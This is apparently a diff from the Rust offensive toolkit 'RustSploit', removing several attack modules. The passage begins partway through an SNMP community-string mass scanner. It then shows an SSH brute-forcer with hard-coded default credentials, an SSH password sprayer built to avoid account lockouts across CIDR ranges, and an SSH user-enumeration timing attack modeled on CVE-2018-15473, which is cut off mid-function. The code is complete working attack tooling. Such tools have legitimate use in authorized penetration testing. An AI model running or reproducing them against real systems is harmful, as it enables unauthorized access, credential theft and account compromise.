if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
let ip_addr = match ip_str.parse::<IpAddr>() {
Ok(ip) => Some(ip),
Err(_) => None
};
tokio::spawn(async move {
if let Some(ip) = ip_addr {
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
// Wait for finish
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, u8, u64)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
_verbose: bool,
) {
let addr = format!("{}:{}", ip, port);
let (communities, version, timeout_secs) = &*creds;
let timeout = Duration::from_secs(*timeout_secs);
for community in communities {
match try_snmp_community(&addr, community, *version, timeout).await {
Ok(true) => {
let result_str = format!("{} -> community: '{}'", addr, community);
println!("\\r{}", format!("[+] FOUND: {}", result_str).green().bold());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(&output_file)
.await
{
let _ = file.write_all(format!("{}\\n", result_str).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop on first valid community for this host
}
Ok(false) => {
// Auth failure
}
Err(_) => {
// Connection error
return;
}
}
}
}
-438
View File
@@ -1,438 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
net::TcpStream,
sync::atomic::{AtomicBool, Ordering},
sync::Arc,
time::Duration,
io::Write,
};
use tokio::{
sync::{Mutex, Semaphore},
task::spawn_blocking,
time::{sleep, timeout},
};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
normalize_target, prompt_default, prompt_yes_no,
prompt_existing_file, load_lines, get_filename_in_current_dir, prompt_port
};
use crate::modules::creds::utils::BruteforceStats;
// Constants
const DEFAULT_SSH_PORT: u16 = 22;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("root", "root"),
("admin", "admin"),
("user", "user"),
("guest", "guest"),
("root", "123456"),
("admin", "123456"),
("root", "password"),
("admin", "password"),
("root", ""),
("admin", ""),
("ubuntu", "ubuntu"),
("test", "test"),
("oracle", "oracle"),
];
pub async fn run(target: &str) -> Result<()> {
println!("{}", "=== SSH Brute Force Module ===".bold());
println!("[*] Target: {}", target);
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
// Ask about default credentials
let use_defaults = prompt_yes_no("Try default credentials first?", true)?;
let usernames_file = if prompt_yes_no("Use username wordlist?", true)? {
Some(prompt_existing_file("Username wordlist")?)
} else {
None
};
let passwords_file = if prompt_yes_no("Use password wordlist?", true)? {
Some(prompt_existing_file("Password wordlist")?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
}
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 && n <= 256 => break n,
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
}
};
let connection_timeout: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "5")?;
match input.parse() {
Ok(n) if n >= 1 && n <= 60 => break n,
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
}
};
let retry_on_error = prompt_yes_no("Retry on connection errors?", true)?;
let max_retries: usize = if retry_on_error {
loop {
let input = prompt_default("Max retries per attempt", "2")?;
match input.parse() {
Ok(n) if n > 0 && n <= 10 => break n,
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
}
}
} else {
0
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_brute_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
println!("{}", "[!] Username wordlist is empty.".yellow());
} else {
println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
println!("{}", "[!] Password wordlist is empty.".yellow());
} else {
println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
// Calculate total attempts
let total_attempts = if combo_mode {
usernames.len() * passwords.len()
} else {
passwords.len()
};
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
let found = Arc::new(Mutex::new(Vec::new()));
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
let semaphore = Arc::new(Semaphore::new(concurrency));
let timeout_duration = Duration::from_secs(connection_timeout);
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
let mut user_cycle_idx = 0usize;
for pass in passwords.iter() {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let selected_users: Vec<String> = if combo_mode {
usernames.iter().cloned().collect()
} else {
if usernames.is_empty() {
Vec::new()
} else {
let user = usernames[user_cycle_idx % usernames.len()].clone();
user_cycle_idx += 1;
vec![user]
}
};
for user in selected_users {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let addr_clone = connect_addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let unknown_clone = Arc::clone(&unknown);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let semaphore_clone = semaphore.clone();
let timeout_clone = timeout_duration;
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let retry_flag = retry_on_error;
let max_retries_clone = max_retries;
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
// Acquire semaphore permit inside the spawned task
let _permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let mut retries = 0;
loop {
match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
let mut found_guard = found_clone.lock().await;
// Check if already found to avoid duplicates
let entry = (addr_clone.clone(), user_clone.clone(), pass_clone.clone());
if !found_guard.contains(&entry) {
found_guard.push(entry);
}
stats_clone.record_attempt(true, false);
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
break;
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
}
break;
}
Err(e) => {
stats_clone.record_attempt(false, true);
let msg = e.to_string();
if retry_flag && retries < max_retries_clone {
retries += 1;
stats_clone.record_retry();
if verbose_flag {
println!(
"\r{}",
format!(
"[!] {} -> {}:{} (retry {}/{}) - {}",
addr_clone,
user_clone,
pass_clone,
retries,
max_retries_clone,
msg
)
.yellow()
);
}
sleep(Duration::from_millis(500)).await;
continue;
} else {
{
let mut unk = unknown_clone.lock().await;
unk.push((
addr_clone.clone(),
user_clone.clone(),
pass_clone.clone(),
msg.clone(),
));
}
if verbose_flag {
println!(
"\r{}",
format!(
"[?] {} -> {}:{} error/unknown: {}",
addr_clone, user_clone, pass_clone, msg
)
.yellow()
);
}
break;
}
}
}
}
}));
}
}
// Wait for all tasks with FuturesUnordered
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
println!("\r{}", format!("[!] Task error: {}", e).red());
}
}
}
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("\n{}", "[-] No credentials found.".yellow());
} else {
println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
// Use std::fs::File for simple writing
use std::fs::File;
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
file.flush()?;
println!("{}", format!("[+] Results saved to '{}'", filename.display()).green());
}
}
drop(creds);
// Unknown / errored attempts
let unknown_guard = unknown.lock().await;
if !unknown_guard.is_empty() {
println!(
"{}",
format!(
"[?] Collected {} unknown/errored SSH responses.",
unknown_guard.len()
)
.yellow()
.bold()
);
if prompt_yes_no("Save unknown responses to file?", true)? {
let default_name = "ssh_unknown_responses.txt";
let fname = prompt_default(
&format!(
"What should the unknown results be saved as? (default: {})",
default_name
),
default_name,
)?;
let filename = get_filename_in_current_dir(&fname);
use std::fs::File;
match File::create(&filename) {
Ok(mut file) => {
writeln!(
file,
"# SSH Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in unknown_guard.iter() {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
println!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
println!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
async fn try_ssh_login(
normalized_addr: &str,
user: &str,
pass: &str,
timeout_duration: Duration,
) -> Result<bool> {
let user_owned = user.to_string();
let pass_owned = pass.to_string();
let addr_owned = normalized_addr.to_string();
let handle = spawn_blocking(move || {
let tcp = TcpStream::connect(&addr_owned)
.map_err(|e| anyhow!("Connection error: {}", e))?;
let mut sess = Session::new()
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
sess.set_tcp_stream(tcp);
sess.handshake()
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
sess.userauth_password(&user_owned, &pass_owned)
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
Ok(sess.authenticated())
});
let join_result = timeout(timeout_duration, handle)
.await
.map_err(|_| anyhow!("Connection timeout"))?;
join_result.map_err(|e| anyhow!("Join error: {}", e))?
}
-490
View File
@@ -1,490 +0,0 @@
//! SSH Password Spray Module
//!
//! Based on SSHPWN framework - sprays single password across multiple targets/users.
//! Useful for avoiding account lockouts while testing common passwords.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
collections::HashSet,
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
sync::{
atomic::{AtomicBool, AtomicU64, Ordering},
Arc,
},
time::{Duration, Instant},
};
use crate::utils::prompt_port;
use anyhow::Context;
use tokio::{
sync::Semaphore,
task::spawn_blocking,
time::sleep,
};
use ipnetwork::IpNetwork;
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_THREADS: usize = 20;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSH Password Spray ║".cyan());
println!("{}", "║ Spray single password across multiple targets/users ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Benefits: ║".cyan());
println!("{}", "║ - Avoids account lockouts ║".cyan());
println!("{}", "║ - Tests common passwords across many hosts ║".cyan());
println!("{}", "║ - Efficient for large network assessments ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Statistics tracking
struct Statistics {
total_attempts: AtomicU64,
successful: AtomicU64,
failed: AtomicU64,
errors: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful: AtomicU64::new(0),
failed: AtomicU64::new(0),
errors: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.errors.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful.fetch_add(1, Ordering::Relaxed);
} else {
self.failed.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful.load(Ordering::Relaxed);
let failed = self.failed.load(Ordering::Relaxed);
let errors = self.errors.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
rate
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
fn print_summary(&self) {
println!();
println!("{}", "=== Spray Summary ===".cyan().bold());
println!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
println!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
println!("Failed: {}", self.failed.load(Ordering::Relaxed));
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
}
}
/// Credential result
#[derive(Clone, Debug)]
pub struct SprayResult {
pub host: String,
pub port: u16,
pub username: String,
pub password: String,
}
/// Try SSH authentication
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse()?,
Duration::from_secs(timeout_secs),
)?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(username, password) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
/// Parse targets from string (CIDR, range, single IP)
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
let mut targets = Vec::new();
for s in spec.split(&[',', ' ', '\n'][..]) {
let s = s.trim();
if s.is_empty() {
continue;
}
// Try CIDR
if s.contains('/') {
if let Ok(network) = s.parse::<IpNetwork>() {
for ip in network.iter().take(65536) {
targets.push((ip.to_string(), port));
}
continue;
}
}
// Try IP range (e.g., 192.168.1.1-254)
if s.contains('-') && s.contains('.') {
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
if parts.len() == 2 {
if let Some((start_str, end_str)) = parts[0].split_once('-') {
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
let base = parts[1];
for i in start..=end {
targets.push((format!("{}.{}", base, i), port));
}
continue;
}
}
}
}
// Single IP/hostname
targets.push((s.to_string(), port));
}
targets
}
/// Load list from file
fn load_list_from_file(path: &str) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
let items: Vec<String> = reader
.lines()
.filter_map(|l| l.ok())
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect();
Ok(items)
}
/// Main spray function
pub async fn password_spray(
targets: Vec<(String, u16)>,
usernames: &[String],
password: &str,
threads: usize,
timeout_secs: u64,
) -> Vec<SprayResult> {
let total = targets.len() * usernames.len();
println!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
password, targets.len(), usernames.len(), total).cyan());
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
let stats = Arc::new(Statistics::new());
let semaphore = Arc::new(Semaphore::new(threads));
let stop = Arc::new(AtomicBool::new(false));
// Progress reporter
let stats_clone = Arc::clone(&stats);
let stop_clone = Arc::clone(&stop);
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// Spray tasks
let mut handles = Vec::new();
for (host, port) in targets {
for user in usernames {
let semaphore = Arc::clone(&semaphore);
let results = Arc::clone(&results);
let stats = Arc::clone(&stats);
let host = host.clone();
let user = user.clone();
let password = password.to_string();
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
let host_clone = host.clone();
let user_clone = user.clone();
let pass_clone = password.clone();
let result = spawn_blocking(move || {
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
}).await;
match result {
Ok(Ok(true)) => {
stats.record_attempt(true, false);
let cred = SprayResult {
host: host.clone(),
port,
username: user.clone(),
password: password.clone(),
};
println!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
let _ = std::io::Write::flush(&mut std::io::stdout());
results.lock().await.push(cred);
}
Ok(Ok(false)) => {
stats.record_attempt(false, false);
}
_ => {
stats.record_attempt(false, true);
}
}
Ok(())
});
handles.push(handle);
}
}
// Wait for all tasks
for handle in handles {
let _ = handle.await;
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print summary
stats.print_summary();
let results = results.lock().await;
results.clone()
}
/// Save results to file
fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
let mut file = File::create(path)?;
writeln!(file, "# SSH Password Spray Results")?;
writeln!(file, "# Generated by RustSploit")?;
writeln!(file, "# Total: {} credentials found", results.len())?;
writeln!(file)?;
for result in results {
writeln!(file, "{}:{} @ {}:{}", result.username, result.password, result.host, result.port)?;
}
println!("{}", format!("[+] Results saved to: {}", path).green());
Ok(())
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames to spray
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "administrator", "ubuntu",
"guest", "test", "oracle", "postgres", "mysql",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Get password to spray
let password = prompt("Password to spray").await?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
// Get port
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
// Get targets
let mut targets = Vec::new();
// Add initial target
let host = normalize_target(target);
if !host.is_empty() {
println!("{}", format!("[*] Initial target: {}", host).cyan());
targets.extend(parse_targets(&host, port));
}
// Get additional targets
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)").await?;
if !more_targets.is_empty() {
targets.extend(parse_targets(&more_targets, port));
}
// Load from file?
if prompt_yes_no("Load targets from file?", false)? {
let file_path = prompt("File path").await?;
if !file_path.is_empty() {
match load_list_from_file(&file_path) {
Ok(file_targets) => {
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
for t in file_targets {
targets.extend(parse_targets(&t, port));
}
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Deduplicate targets
let unique: HashSet<_> = targets.into_iter().collect();
let targets: Vec<_> = unique.into_iter().collect();
if targets.is_empty() {
return Err(anyhow!("No targets specified"));
}
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Load usernames from file?", false)? {
let file_path = prompt("Username file path").await?;
if !file_path.is_empty() {
match load_list_from_file(&file_path) {
Ok(loaded) => {
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
usernames.extend(loaded);
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Add default usernames?
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
for user in DEFAULT_USERNAMES {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
// Get scan options
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())?
.parse()
.unwrap_or(DEFAULT_THREADS);
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?
.parse()
.unwrap_or(DEFAULT_TIMEOUT_SECS);
println!();
// Run spray
let results = password_spray(targets, &usernames, &password, threads, timeout).await;
// Save results?
if !results.is_empty() && prompt_yes_no("Save results to file?", true)? {
let output_path = prompt_default("Output file", "ssh_spray_results.txt")?;
if let Err(e) = save_results(&results, &output_path) {
println!("{}", format!("[-] Failed to save: {}", e).red());
}
}
println!();
println!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
Ok(())
}
-310
View File
@@ -1,310 +0,0 @@
//! SSH User Enumeration Module (Timing Attack)
//!
//! Based on SSHPWN framework - enumerates valid users via timing attack.
//! Inspired by CVE-2018-15473 style attacks.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
time::{Duration, Instant},
};
use crate::utils::prompt_port;
use anyhow::Context;
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_SAMPLES: usize = 3;
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSH User Enumeration (Timing Attack) ║".cyan());
println!("{}", "║ Based on auth2.c timing differences ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ How it works: ║".cyan());
println!("{}", "║ - Measures authentication response time for each username ║".cyan());
println!("{}", "║ - Valid users often have different timing than invalid ║".cyan());
println!("{}", "║ - Compares against baseline (known invalid user) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Time a single authentication attempt
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
let addr = format!("{}:{}", host, port);
let start = Instant::now();
let tcp = match TcpStream::connect_timeout(
&addr.parse().ok()?,
Duration::from_secs(timeout_secs),
) {
Ok(s) => s,
Err(_) => return None,
};
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
let mut sess = match Session::new() {
Ok(s) => s,
Err(_) => return None,
};
sess.set_tcp_stream(tcp);
if sess.handshake().is_err() {
return None;
}
// Try authentication with invalid password
let invalid_password = format!("invalid_{}_{}", std::process::id(), start.elapsed().as_nanos());
let _ = sess.userauth_password(username, &invalid_password);
let elapsed = start.elapsed().as_secs_f64();
Some(elapsed)
}
/// Sample authentication timing for a username
fn sample_auth_timing(host: &str, port: u16, username: &str, samples: usize, timeout_secs: u64) -> Option<f64> {
let mut times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
times.push(t);
}
// Small delay between samples
std::thread::sleep(Duration::from_millis(100));
}
if times.is_empty() {
return None;
}
// Return average
Some(times.iter().sum::<f64>() / times.len() as f64)
}
/// Load usernames from file
fn load_usernames(path: &str) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
let usernames: Vec<String> = reader
.lines()
.filter_map(|l| l.ok())
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect();
Ok(usernames)
}
/// Enumerate valid users via timing attack
pub async fn enumerate_users(
host: &str,
port: u16,
usernames: &[String],
samples: usize,
timeout_secs: u64,
threshold: f64,
) -> Vec<String> {
println!("{}", format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan());
println!("{}", format!("[*] Testing {} usernames with {} samples each", usernames.len(), samples).cyan());
println!("{}", format!("[*] Timing threshold: {:.3}s", threshold).cyan());
println!();
// Establish baseline with known-invalid user
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
println!("{}", "[*] Establishing baseline timing...".cyan());
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
Some(t) => {
println!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
t
}
None => {
println!("{}", "[-] Failed to establish baseline - cannot reach target".red());
return Vec::new();
}
};
println!();
println!("{}", "[*] Testing usernames...".cyan());
let mut valid_users = Vec::new();
for (i, user) in usernames.iter().enumerate() {
print!("\r[{}/{}] Testing: {} ", i + 1, usernames.len(), user);
let _ = std::io::Write::flush(&mut std::io::stdout());
match sample_auth_timing(host, port, user, samples, timeout_secs) {
Some(t) => {
let diff = t - baseline;
if diff.abs() > threshold {
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
valid_users.push(user.clone());
}
}
None => {
// Connection failed, skip
}
}
}
println!();
println!("{}", "=== Results ===".cyan().bold());
if valid_users.is_empty() {
println!("{}", "[-] No valid users found via timing attack".yellow());
println!("{}", "[*] Note: This technique may not work on all SSH configurations".dimmed());
} else {
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
for user in &valid_users {
println!(" - {}", user.green());
}
}
valid_users
}
/// Prompt helper
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames to test
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "test", "guest",
"ubuntu", "www-data", "daemon", "bin", "sys",
"nobody", "mysql", "postgres", "oracle", "ftp",
"ssh", "apache", "nginx", "tomcat", "redis",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target);
println!("{}", format!("[*] Target: {}", host).cyan());
// Get parameters
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(DEFAULT_SAMPLES);
